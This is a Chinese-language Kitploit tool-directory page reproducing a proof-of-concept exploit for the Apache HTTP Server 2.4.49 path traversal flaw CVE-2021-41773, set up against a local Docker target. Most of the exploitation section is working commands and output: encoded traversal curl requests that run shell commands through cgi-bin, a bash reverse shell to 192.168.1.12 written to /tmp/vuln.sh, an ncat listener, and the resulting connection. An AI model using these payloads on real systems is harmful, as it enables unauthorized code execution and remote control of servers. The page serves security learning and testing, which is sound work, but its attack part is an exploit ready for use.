Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-41773m — 概念验证利用程序,针对Apache HTTP Server 2.4.49的路径遍历漏洞(CVE-2021-41773),包含远程代码执行和反向shell演示。 | Kitploit
工具/GitHubGitHub/mightysai1997/cve-2021-41773m
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育远程访问工具
GitHubmightysai1997/cve-2021-41773m

CVE-2021-41773m

概念验证利用程序,针对Apache HTTP Server 2.4.49的路径遍历漏洞(CVE-2021-41773),包含远程代码执行和反向shell演示。

查看仓库
13年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-41773

🐛 Apache HTTP Server 2.4.49 中的路径遍历与文件泄露漏洞

在 Apache HTTP Server 2.4.49 中对路径规范化进行的修改中发现了一个缺陷。攻击者可以利用路径遍历攻击,将 URL 映射到由类似 Alias 指令配置的目录之外的文件。

如果这些目录之外的文件未受到常规默认配置“require all denied”的保护,则这些请求可能成功。如果这些别名路径上还启用了 CGI 脚本,则可能导致远程代码执行。

此问题已知在野外被利用。

此问题仅影响 Apache 2.4.49,不影响更早版本。

来源

路径遍历

概述

路径遍历攻击(也称为目录遍历)旨在访问存储在 Web 根文件夹之外的文件和目录。通过操纵引用文件的变量,使用“点-点-斜杠(../)”序列及其变体,或使用绝对文件路径,可能可以访问文件系统上任意文件和目录,包括应用程序源代码或配置以及关键系统文件。需要注意的是,文件访问受系统操作访问控制限制(例如在 Microsoft Windows 操作系统中被锁定或正在使用的文件的情况)。

这种攻击也称为“点-点-斜杠”、“目录遍历”、“目录爬升”和“回溯”。

概念验证

搭建 PoC 环境

root@kitploit:~
$ docker-compose build
$ docker-compose up

确认其工作

root@kitploit:~
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>

漏洞利用

受害者:localhost:1234
攻击者:192.168.1.12

根据文档,这是一个允许我们在远程执行代码的漏洞(RCE)。
我们可以通过使用 cgi-bin 文件夹执行 curl 来利用它。

root@kitploit:~
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
  • 1. RCE
    检查我们是否真的可以执行命令,例如 id:

    root@kitploit:~
    $ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
    uid=1(daemon) gid=1(daemon) groups=1(daemon)
    
  • 2. 反向 Shell
    我们将通过在受害者服务器上创建一个 bash 文件来测试反向 Shell。
    以 PayloadsAllTheThings 仓库中的 bash 反向 Shell 为例。

    以下是一个示例:
    bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

    让我们在受害者的机器的 /tmp/ 文件夹中创建文件 vuln.sh!
    该文件将包含我们的反向 Shell,我们可以远程运行它。它将连接到我们本地机器的 44 端口。

    root@kitploit:~
    $  curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
    

    你可以使用 cat 命令检查文件内容:

    root@kitploit:~
    $ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
    #!/bin/bash
    bash -i >& /dev/tcp/192.168.1.12/44 0>&1
    

参考

  • https://httpd.apache.org/security/vulnerabilities_24.html
  • https://github.com/apache/httpd/commit/98246aa96079dad5f7b20521bbc0142a04f1c5e7
下载工具
  • 3. 使用 ncat 创建监听器
    在本地机器上创建监听器。

    root@kitploit:~
    $ nc -lvnp 44
    

    剩下的就是执行远程文件。

    root@kitploit:~
    $ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
    text/plain; echo; bash /tmp/vuln.sh'
    

    响应:

    root@kitploit:~
    Ncat: Version 7.91 ( https://nmap.org/ncat )
    Ncat: Listening on :::44
    Ncat: Listening on 0.0.0.0:44
    Ncat: Connection from 172.19.32.1.
    Ncat: Connection from 172.19.32.1:58963.